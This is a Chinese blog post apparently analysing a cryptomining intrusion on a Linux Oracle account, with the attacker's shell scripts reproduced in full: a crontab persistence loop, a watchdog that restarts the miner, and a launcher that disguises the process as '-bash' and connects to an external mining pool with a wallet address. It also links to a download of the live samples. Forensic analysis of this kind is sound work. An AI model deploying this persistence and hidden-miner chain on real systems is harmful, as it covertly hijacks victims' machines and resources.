遭遇挖矿程序续集_详解黑客攻击步骤

下载链接: http://download.csdn.net/download/landehutu/10218235


背景:前几天写了一下遭遇挖矿程序后的处理步骤,当时弄了一个活体下来,但是没有说明那几个程序的细节,今天补上。

 

程序细节说明:

黑客先找到系统的漏洞,获得相应权限以后,在oracle用户目录下创建了一个隐藏目录:.data_oraclelinux下小数点开头的ls不加 -a 参数就看不到。

然后把文件都上传到目录中,包括:

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 a

-rw-r--r--. 1 oracle oinstall 0 1月  18 11:46 bash.pid

-rw-r--r--. 1 oracle oinstall 0 1月  18 11:46 cron.d

-rw-r--r--. 1 oracle oinstall 0 1月  18 11:46 dir.dir

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 h32  : 这个32bit进程是用来隐藏进程名称的

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 h64  : 这个64bit进程是用来隐藏进程名称的

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 md  : 这个是64bit的挖矿程序

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 md32 : 这个是32bit的挖矿程序

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 mdx  : 这个也是挖矿程序,只不过硬件架构不是i686x86_64

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 run

-rwxr--r--. 1 oracle oinstall 0 1月  18 11:46 upd  : 这个文件是后来由a文件生成的

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 x

 

现在开始依次聊聊文件内容:

上传完文件后,首先执行文件x

nohup ./a >>/dev/null &

这句很简单,就是执行当前目录(/home/oracle/.data_oracle)下的文件a,其他内容我就啰嗦点讲下吧。这行命令其实是三段: nohup./a >>/dev/null &/dev/null是个设备文件,其实就是windows下的垃圾站,是个空文件,意思是所有a文件产生的输出都别显示了,就直接扔进了碎纸机里面。& 是后台执行,那为什么还有个nohup呢,比如你在windows下,当前执行了一个程序,如果注销当前用户,这个程序也会退出,那怎么办呢,只有把这个程序交给操作系统去执行,这样就算注销了当前用户,程序还可以继续执行,nohup就是干这个的。

 

再来看看a:

pwd > dir.dir

dir=$(cat dir.dir)

echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d

crontab cron.d

crontab -l | grep upd

echo "#!/bin/sh

if test -r $dir/bash.pid; then

pid=\$(cat $dir/bash.pid)

if \$(kill -CHLD \$pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd $dir

./run &>/dev/null" > upd

chmod u+x upd

./upd

 

第一句是把当前目录名称写入文件dir.dir中;

第二句变量dir取得了当前目录;

第三句将crontab内容写入cron.d文件,随后一句就加载进入crontabcrontab就是windows的计划任务,定时执行任务的,crontab的命令格式是:

minute   hour   day   month   week   command

所以 * * * * * $dir/upd >/dev/null 2>&1 意思就是一直执行upd文件,/dev/null就不讲了, 2>&1的意思是错误文件输出到标准输出中,下面是百度抄的,还看不懂的话,需要实际做做。

1)标准输入 即 STDIN , /dev/stdin ,

   一般指键盘输入, shell里代号是 0

2) 标准输出 STDOUT, /dev/stdout,

   一般指终端(terminal), 就是显示器, shell里代号是 1

3) 标准错误 STDERR, /dev/stderr

   也是指终端(terminal), 不同的是, 错误信息送到这里

   shell里代号是 2

 

后面代码是echo一段代码输出到文件upd中,然后给upd赋予执行权限,最后执行upd文件。先看看上面生成的文件:

dir.dir/home/oracle/.data_oracle

cron.d* * * * * /home/oracle/.data_oracle/upd >/dev/null 2>&1

 

讲讲upd

 

#!/bin/sh

if test -r /home/oracle/.data_oracle/bash.pid; then

pid=$(cat /home/oracle/.data_oracle/bash.pid)

if $(kill -CHLD $pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd /home/oracle/.data_oracle

./run &>/dev/null

 

 

 

 

首先检查一下文件 /home/oracle/.data_oracle/bash.pid 是否可读,如果可读,就读出里面的进程pid,直接kill掉,重新执行run

 

看下进程id的文件bash.pid : 38790

 

 

run文件才是真正的启动命令的文件:

#!/bin/bash

 

proc=`nproc`

ARCH=`uname -m`

HIDE="-bash"

 

if [ "$ARCH" == "i686" ];       then

        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &

elif [ "$ARCH" == "x86_64" ];   then

        ./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &

                                else

        ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &

fi

echo $! > bash.pid

 

这个核心文件就是读出操作系统的硬件架构,如果是i386就执行32位的h32md32,猜测h32是用于让系统显示的进程名称,md32才是真正的挖矿程序。执行完成了就把进程id写入bash.pid中。

 

总结一下:

找系统漏洞;

获取权限;

创建目录;

上传文件;

执行x,执行a

a启动crontab执行upd,生成upd并赋权;

upd去执行run

run去执行真正的挖矿程序。

 


你可能感兴趣的:(安全,运维,挖矿,安全)